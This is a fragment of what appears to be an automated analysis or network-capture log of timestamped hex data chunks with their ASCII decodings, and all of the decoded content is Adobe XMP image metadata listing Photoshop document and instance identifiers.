70 68 6f 74 6f 73 68 6f 70 3a 32 39 62 32 63 66 30 66 2d 61 32 62 66 2d 31 31 37 38 2d 61 39 37 35 2d 65 61 39 39 31 
33 30 63 33 62 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii: -ae7863bb8d21</rdf:li> <rdf:li>adobe:docid:photoshop:28d4a808-7264-11e1-9164-aebf47ab9d51</rdf:li> 
<rdf:li>adobe:docid:photoshop:2976e645-8ee9-11d8-b91f-f9ecd8ffa428</rdf:li> <rdf:li>adobe:docid:photoshop:29b2cf0f-
a2bf-1178-a975-ea99130c3b2b</rdf:li> <rdf

2022-05-13 14:42:07 UTC 4819 IN Data Raw: 68 6f 74 6f 73 68 6f 70 3a 35 39 38 30 31 63 65 36 2d 65 33 61 63 2d 63 35 34 33 2d 62 66 31 62 2d 62 36 33 
62 38 66 65 39 36 33 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 
68 6f 74 6f 73 68 6f 70 3a 35 61 33 38 62 64 31 63 2d 63 33 36 61 2d 31 31 64 37 2d 61 30 31 63 2d 63 61 65 37 66 64 
35 38 32 38 61 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 
6f 73 68 6f 70 3a 35 61 38 66 33 63 39 39 2d 37 31 63 36 2d 31 31 65 31 2d 39 65 38 36 2d 63 30 38 34 62 30 62 37 37 
33 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 
6f 70 3a 35 62 38 34 38 30 30 38 2d 66 63 34 34 2d 31 31 37 38 
Data Ascii: hotoshop:59801ce6-e3ac-c543-bf1b-b63b8fe96395</rdf:li> <rdf:li>adobe:docid:photoshop:5a38bd1c-c36a-
11d7-a01c-cae7fd5828a6</rdf:li> <rdf:li>adobe:docid:photoshop:5a8f3c99-71c6-11e1-9e86-c084b0b7738d</rdf:li> <
rdf:li>adobe:docid:photoshop:5b848008-fc44-1178

2022-05-13 14:42:07 UTC 4938 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 
3a 37 31 38 63 62 34 35 38 2d 39 33 66 66 2d 31 31 64 38 2d 38 35 35 38 2d 66 61 32 63 61 31 32 32 39 63 30 32 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 31 
39 30 65 66 38 39 2d 37 39 37 33 2d 31 31 65 31 2d 62 61 62 63 2d 65 35 35 65 37 63 36 61 38 39 33 32 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 31 39 32 65 
62 32 66 2d 65 33 31 63 2d 31 31 64 39 2d 62 36 65 37 2d 64 61 34 65 35 32 65 33 65 34 36 35 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 
Data Ascii: df:li> <rdf:li>adobe:docid:photoshop:718cb458-93ff-11d8-8558-fa2ca1229c02</rdf:li> <rdf:li>adobe:docid:photo
shop:7190ef89-7973-11e1-babc-e55e7c6a8932</rdf:li> <rdf:li>adobe:docid:photoshop:7192eb2f-e31c-11d9-b6e7-da4e5
2e3e465</rdf:li> <rdf:li>adobe:docid:

2022-05-13 14:42:07 UTC 4986 IN Data Raw: 34 2d 37 65 32 62 2d 31 31 65 31 2d 38 38 65 34 2d 62 33 35 34 30 32 64 36 64 61 31 36 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 32 62 30 63 62 65 
66 2d 66 35 66 63 2d 31 31 37 38 2d 39 65 63 39 2d 62 66 33 32 34 64 64 65 35 66 64 36 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 32 63 61 65 66 63 65 2d 66 
38 66 65 2d 31 31 37 38 2d 39 65 63 39 2d 62 66 33 32 34 64 64 65 35 66 64 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 33 35 61 35 63 62 32 2d 32 34 61 34 
2d 31 31 64 62 2d 38 61 66 38 2d 66 39 34 30 61 38 33 30 38 61 
Data Ascii: 4-7e2b-11e1-88e4-b35402d6da16</rdf:li> <rdf:li>adobe:docid:photoshop:a2b0cbef-f5fc-1178-9ec9-bf324
dde5fd6</rdf:li> <rdf:li>adobe:docid:photoshop:a2caefce-f8fe-1178-9ec9-bf324dde5fd6</rdf:li> <rdf:li>adobe:doc
id:photoshop:a35a5cb2-24a4-11db-8af8-f940a8308a
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2022-05-13 14:42:07 UTC 5106 IN Data Raw: 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 39 39 65 62 34 36 61 
2d 37 66 30 62 2d 37 35 34 66 2d 62 63 62 34 2d 35 62 31 32 65 38 34 36 32 35 63 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 39 66 37 35 64 32 32 2d 38 63 
62 32 2d 31 31 37 38 2d 38 35 37 63 2d 64 36 61 39 66 34 61 38 66 32 39 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 61 31 36 37 35 33 32 2d 39 31 64 39 2d 
31 31 65 36 2d 61 30 33 65 2d 65 32 62 33 61 32 66 62 36 37 65 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 
Data Ascii: df:li>adobe:docid:photoshop:d99eb46a-7f0b-754f-bcb4-5b12e84625cc</rdf:li> <rdf:li>adobe:docid:phot
oshop:d9f75d22-8cb2-1178-857c-d6a9f4a8f29f</rdf:li> <rdf:li>adobe:docid:photoshop:da167532-91d9-11e6-a03e-e2b3
a2fb67e1</rdf:li> <rdf:li>adobe:docid:photoshop

2022-05-13 14:42:07 UTC 5113 IN Data Raw: 31 34 63 2d 66 32 31 39 61 64 36 34 63 64 32 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 
6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 66 62 62 35 39 30 32 2d 30 38 65 39 2d 31 31 65 37 2d 38 
39 35 34 2d 39 66 63 34 30 30 37 39 65 62 65 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 
3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 66 63 63 36 32 64 30 2d 39 61 32 64 2d 31 31 64 39 2d 62 35 32 64 
2d 61 36 31 66 32 61 34 37 31 30 66 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 
69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 66 64 39 35 66 66 35 2d 65 66 30 38 2d 31 31 64 39 2d 39 36 65 35 2d 39 31 
34 36 34 32 37 64 32 66 39 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: 14c-f219ad64cd2e</rdf:li> <rdf:li>adobe:docid:photoshop:efbb5902-08e9-11e7-8954-9fc40079ebe6</rdf:li> 
<rdf:li>adobe:docid:photoshop:efcc62d0-9a2d-11d9-b52d-a61f2a4710f8</rdf:li> <rdf:li>adobe:docid:photoshop:efd95ff5-e
f08-11d9-96e5-9146427d2f9a</rdf:li> <

2022-05-13 14:42:07 UTC 5129 IN Data Raw: 75 69 64 3a 32 37 33 36 36 31 46 33 45 45 35 36 44 46 31 31 38 32 41 31 42 36 42 41 43 33 36 42 41 38 30 
37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 37 34 33 35 33 41 44 30 37 32 33 44 46 31 
31 39 30 45 33 41 46 46 37 33 45 37 46 37 38 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3
a 32 37 34 34 45 42 33 35 39 43 32 32 44 44 31 31 42 37 30 30 46 37 42 46 38 38 46 31 35 35 39 42 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 37 39 30 34 36 45 30 39 32 41 36 44 44 31 31 39 41 32 41 45 34 35 
45 43 37 33 41 37 43 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 32 37 39 41 36 42 33 
42 34 37 39 37 44 46 31 31 39 43 43 42 38 33 30 35 36 33 37 36 32 44 41 
Data Ascii: uid:273661F3EE56DF1182A1B6BAC36BA807</rdf:li> <rdf:li>uuid:274353AD0723DF1190E3AFF73E7F7
895</rdf:li> <rdf:li>uuid:2744EB359C22DD11B700F7BF88F1559B</rdf:li> <rdf:li>uuid:279046E092A6DD119A2
AE45EC73A7CD3</rdf:li> <rdf:li>uuid:279A6B3B4797DF119CCB830563762DA

2022-05-13 14:42:07 UTC 5933 IN Data Raw: 41 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 41 42 31 44 32 36 45 41 36 
43 36 31 31 44 45 42 37 46 35 43 39 33 41 41 32 46 32 30 38 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 75 75 69 64 3a 35 41 42 31 44 32 37 34 41 36 43 36 31 31 44 45 42 37 46 35 43 39 33 41 41 32 46 32 30 38 42 30 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 41 42 41 38 34 45 46 44 35 43 38 45 34 31 31 39 
36 31 33 44 44 36 31 38 31 30 46 37 36 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 
41 44 41 39 36 42 45 36 31 33 32 31 31 44 43 38 42 31 37 45 42 36 37 45 30 32 35 36 44 45 33 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 41 46 39 36 46 36 33 37 
Data Ascii: A96</rdf:li> <rdf:li>uuid:5AB1D26EA6C611DEB7F5C93AA2F208B0</rdf:li> <rdf:li>uuid:5AB1D27
4A6C611DEB7F5C93AA2F208B0</rdf:li> <rdf:li>uuid:5ABA84EFD5C8E4119613DD61810F76FA</rdf:li> <rdf:li>uu
id:5ADA96BE613211DC8B17EB67E0256DE3</rdf:li> <rdf:li>uuid:5AF96F637

2022-05-13 14:42:07 UTC 5940 IN Data Raw: 69 64 3a 37 34 37 36 39 42 38 46 41 39 43 39 45 30 31 31 41 41 35 35 41 30 36 35 46 38 41 32 33 39 38 38 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 34 38 42 30 35 33 30 37 46 31 33 31 31 44 43 
41 43 43 35 38 38 35 42 43 43 46 41 33 44 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 3
7 34 39 41 39 37 37 34 38 39 36 46 45 30 31 31 42 43 36 32 41 41 43 33 46 32 38 44 31 34 36 38 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 34 39 44 39 37 35 34 36 35 35 37 44 46 31 31 39 44 34 30 43 43 31 36 
32 37 30 35 46 35 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 34 43 37 46 31 41 33 
31 42 41 43 44 42 31 31 38 30 34 31 46 30 42 41 45 33 30 43 31 30 34 41 
Data Ascii: id:74769B8FA9C9E011AA55A065F8A23988</rdf:li> <rdf:li>uuid:748B05307F1311DCACC5885BCCFA3D
09</rdf:li> <rdf:li>uuid:749A9774896FE011BC62AAC3F28D1468</rdf:li> <rdf:li>uuid:749D97546557DF119D40
CC162705F5CF</rdf:li> <rdf:li>uuid:74C7F1A31BACDB118041F0BAE30C104A

2022-05-13 14:42:07 UTC 5956 IN Data Raw: 39 43 37 45 31 34 30 41 44 43 31 31 41 32 44 41 41 34 44 37 38 46 35 30 39 31 33 31 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 36 33 41 35 44 43 41 44 46 46 45 44 46 31 31 42 37 39 46 45 38 45 45 
41 30 30 36 41 30 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 36 34 35 44 43 44 33 
33 41 46 39 44 46 31 31 42 35 39 32 46 38 38 31 30 38 37 37 31 34 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 75 75 69 64 3a 41 36 34 45 44 32 35 32 41 37 43 39 45 30 31 31 41 41 35 35 41 30 36 35 46 38 41 32 33 39 38 
38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 36 36 43 46 38 38 36 41 34 32 32 45 31 31 
31 42 30 44 46 42 38 36 34 37 30 37 30 35 30 30 32 3c 2f 72 64 66 3a 6c 
Data Ascii: 9C7E140ADC11A2DAA4D78F509131</rdf:li> <rdf:li>uuid:A63A5DCADFFEDF11B79FE8EEA006A0EF</rdf:li> 
<rdf:li>uuid:A645DCD33AF9DF11B592F8810877149D</rdf:li> <rdf:li>uuid:A64ED252A7C9E011AA55A065F8A23988</rdf
:li> <rdf:li>uuid:A66CF886A422E111B0DFB86470705002</rdf:l

2022-05-13 14:42:07 UTC 5972 IN Data Raw: 69 64 3a 45 33 35 30 32 32 34 37 45 39 45 34 31 31 44 46 39 46 41 35 42 38 30 32 34 42 42 36 36 38 36 44 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 33 36 45 34 41 46 44 30 34 36 36 44 44 31 31 
39 39 33 33 42 38 35 35 31 34 39 34 42 44 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 4
5 33 38 46 42 34 46 35 38 33 45 35 44 43 31 31 41 46 39 37 43 41 37 39 38 45 45 41 30 43 34 37 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 33 45 33 33 41 43 35 32 33 35 39 44 45 31 31 39 38 38 32 43 36 43 42 
32 36 44 35 30 44 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 34 41 41 32 35 46 32 
36 30 37 45 45 31 31 31 39 43 36 32 39 46 44 42 32 39 41 45 30 39 43 34 
Data Ascii: id:E3502247E9E411DF9FA5B8024BB6686D</rdf:li> <rdf:li>uuid:E36E4AFD0466DD119933B8551494BD
56</rdf:li> <rdf:li>uuid:E38FB4F583E5DC11AF97CA798EEA0C47</rdf:li> <rdf:li>uuid:E3E33AC52359DE119882
C6CB26D50D2E</rdf:li> <rdf:li>uuid:E4AA25F2607EE1119C629FDB29AE09C4

2022-05-13 14:42:07 UTC 5980 IN Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 33 32 38 43 32 43 30 38 32 36 45 33 31 31 38 44 42 33 38 31 45 
46 32 43 31 44 38 41 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 33 38 
30 35 35 42 41 44 32 34 36 38 31 31 38 37 31 46 45 43 34 42 39 36 31 36 37 44 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 34 34 46 39 35 42 34 31 32 30 36 38 31 31 39 32 42 30 45 41 33 38 
41 39 31 37 36 44 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 34 35 41 
34 33 39 32 43 39 37 45 34 31 31 39 43 41 33 38 35 33 37 38 32 32 44 30 30 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 34 42 39 30 38 37 30 45 32 
Data Ascii: :li>xmp.did:00328C2C0826E3118DB381EF2C1D8A93</rdf:li> <rdf:li>xmp.did:0038055BAD24681187
1FEC4B96167D32</rdf:li> <rdf:li>xmp.did:0044F95B4120681192B0EA38A9176D6C</rdf:li> <rdf:li>xmp.did:00
45A4392C97E4119CA38537822D00A8</rdf:li> <rdf:li>xmp.did:004B90870E2
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2022-05-13 14:42:07 UTC 5996 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 
30 36 38 31 31 39 39 34 43 43 45 36 37 33 46 44 41 32 41 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 39 34 43 45 46 39 45 43 46 36 46 45 45 43 
44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 
36 38 31 31 41 37 42 41 42 35 37 42 37 42 38 33 37 38 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 39 36 31 42 32 31 34 31 42 44 43 41 33 39 30 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
Data Ascii: rdf:li> <rdf:li>xmp.did:0280117407206811994CCE673FDA2A3B</rdf:li> <rdf:li>xmp.did:0280117407206811
994CEF9ECF6FEECD</rdf:li> <rdf:li>xmp.did:0280117407206811A7BAB57B7B837883</rdf:li> <rdf:li>xmp.did:
0280117407206811A961B2141BDCA390</rdf:li> <rdf:li>xmp.did

2022-05-13 14:42:07 UTC 6012 IN Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 38 30 31 31 37 34 30 37 32 30 36 
38 31 31 38 32 32 41 43 34 41 33 41 45 46 32 37 31 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 30 37 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 34 36 43 43 44 37 46 33 31 30 41 44 44 45 30 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 38 30 31 31 37 34 30 37 32 30 36 38 
31 31 38 37 31 46 43 38 34 32 33 31 31 33 34 41 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 30 37 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 46 45 31 42 32 35 34 31 38 32 44 32 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 
Data Ascii: f:li> <rdf:li>xmp.did:0780117407206811822AC4A3AEF271C5</rdf:li> <rdf:li>xmp.did:078011740720681184
6CCD7F310ADDE0</rdf:li> <rdf:li>xmp.did:0780117407206811871FC84231134A2D</rdf:li> <rdf:li>xmp.did:07
80117407206811871FFE1B254182D2</rdf:li> <rdf:li>xmp.did:0

2022-05-13 14:42:07 UTC 6020 IN Data Raw: 46 41 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 43 36 45 
45 39 33 46 44 37 39 45 30 31 31 41 36 38 44 43 45 37 34 41 34 36 38 43 33 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 43 39 37 36 45 35 35 35 32 31 36 38 31 31 39 39 34 43 39 38 37 39 37 
46 46 32 44 44 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 45 30 45 31 4
4 31 33 42 32 34 36 38 31 31 39 39 34 43 41 30 45 36 41 42 31 43 31 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 64 34 37 38 64 64 2d 64 66 31 62 2d 35 36 34 65 2d 38 39 61 63 2d 64 37 39 
34 31 35 62 33 34 33 62 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii: FAF3B</rdf:li> <rdf:li>xmp.did:09C6EE93FD79E011A68DCE74A468C3B8</rdf:li> <rdf:li>xmp.did:09C976E55
5216811994C98797FF2DDC4</rdf:li> <rdf:li>xmp.did:09E0E1D13B246811994CA0E6AB1C1578</rdf:li> <rdf:li>x
mp.did:09d478dd-df1b-564e-89ac-d79415b343b8</rdf:li> <rdf

2022-05-13 14:42:07 UTC 6036 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 38 64 37 30 65 30 61 2d 66 35 65 
62 2d 34 64 34 36 2d 61 30 36 36 2d 62 34 33 35 35 32 39 30 65 63 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 31 38 65 30 39 39 32 34 2d 32 64 63 30 2d 34 35 66 64 2d 39 35 38 34 2d 65 33 38 36 
65 65 39 64 31 63 34 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 38 65 33 38 
66 38 66 2d 37 34 38 30 2d 34 35 63 30 2d 39 63 35 36 2d 61 38 37 39 33 64 31 65 32 63 38 65 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 38 66 33 64 36 66 38 2d 36 38 65 31 2d 62 64 34 38 2d 38 64 
64 31 2d 34 62 31 35 65 65 30 35 37 32 65 35 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: df:li> <rdf:li>xmp.did:18d70e0a-f5eb-4d46-a066-b4355290ec74</rdf:li> <rdf:li>xmp.did:18e09924-2dc0-45fd-
9584-e386ee9d1c4d</rdf:li> <rdf:li>xmp.did:18e38f8f-7480-45c0-9c56-a8793d1e2c8e</rdf:li> <rdf:li>xmp.did:18f3d6f8-
68e1-bd48-8dd1-4b15ee0572e5</rdf:li> 

2022-05-13 14:42:07 UTC 6052 IN Data Raw: 34 36 33 31 42 32 30 36 38 31 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 38 45 44 41 34 43 31 33 37 32 30 36 38 31 31 42 46 44 36 42 35 
46 30 33 46 41 45 30 33 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 38 46 
34 41 37 45 39 33 45 37 36 31 31 45 37 38 33 46 38 43 33 31 43 36 34 45 35 34 32 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 38 62 33 35 36 35 32 2d 31 64 39 36 2d 34 64 36 63 2d 61 30 66 65 
2d 34 30 63 39 62 65 64 62 39 61 63 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
32 38 62 39 39 65 34 37 2d 61 31 38 66 2d 30 33 34 38 2d 39 37 65 65 2d 
Data Ascii: 4631B206811A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:28EDA4C137206811BFD6B5F03FAE0379</rdf:li> 
<rdf:li>xmp.did:28F4A7E93E7611E783F8C31C64E54274</rdf:li> <rdf:li>xmp.did:28b35652-1d96-4d6c-a0fe-40c9b
edb9acd</rdf:li> <rdf:li>xmp.did:28b99e47-a18f-0348-97ee-

2022-05-13 14:42:07 UTC 6060 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 32 38 42 46 38 33 32 43 32 
30 36 38 31 31 38 30 38 33 38 31 45 35 37 38 38 43 33 35 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 33 30 33 37 31 43 45 35 41 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 
44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 33 39 38 33 37 42 38 33 44 45 4
5 31 31 31 38 30 42 38 46 39 37 42 39 38 41 36 35 45 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 33 30 34 30 37 35 34 42 31 32 32 34 31 31 45 31 38 45 31 44 44 43 41 44 46 37 41 37 35 46 45 35 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
Data Ascii: /rdf:li> <rdf:li>xmp.did:3028BF832C206811808381E5788C353D</rdf:li> <rdf:li>xmp.did:30371CE5A622681
1822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:3039837B83DEE11180B8F97B98A65E63</rdf:li> <rdf:li>xmp.did
:3040754B122411E18E1DDCADF7A75FE5</rdf:li> <rdf:li>xmp.di

2022-05-13 14:42:07 UTC 6076 IN Data Raw: 2d 30 31 32 39 38 32 61 38 66 31 63 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 33 61 31 38 37 32 37 30 2d 34 37 33 34 2d 61 62 34 61 2d 61 62 66 65 2d 61 39 30 32 31 63 32 35 64 35 31 63 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 61 33 35 31 32 36 37 2d 36 37 35 62 
2d 65 61 34 65 2d 39 34 38 31 2d 37 37 33 36 65 37 30 63 30 39 33 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 78 6d 70 2e 64 69 64 3a 33 61 35 62 30 65 62 64 2d 34 61 63 36 2d 36 38 34 30 2d 38 30 32 38 2d 66 63 61 64 30 
30 33 37 61 64 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 61 38 64 32 65 
31 63 2d 32 39 37 63 2d 34 64 35 34 2d 38 62 32 36 2d 34 61 31 64 62 61 
Data Ascii: -012982a8f1c4</rdf:li> <rdf:li>xmp.did:3a187270-4734-ab4a-abfe-a9021c25d51c</rdf:li> <rdf:li>xmp.d
id:3a351267-675b-ea4e-9481-7736e70c093a</rdf:li> <rdf:li>xmp.did:3a5b0ebd-4ac6-6840-8028-fcad0037ad24</rdf:li> 
<rdf:li>xmp.did:3a8d2e1c-297c-4d54-8b26-4a1dba

2022-05-13 14:42:07 UTC 6092 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 46 46 38 45 45 37 31 42 44 34 31 45 30 31 31 41 37 46 
38 44 38 41 45 42 38 39 44 37 44 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
34 61 34 65 34 39 30 39 2d 39 65 33 66 2d 32 39 34 31 2d 38 32 30 35 2d 65 35 35 33 35 31 64 39 31 63 37 61 3c 2f 72 
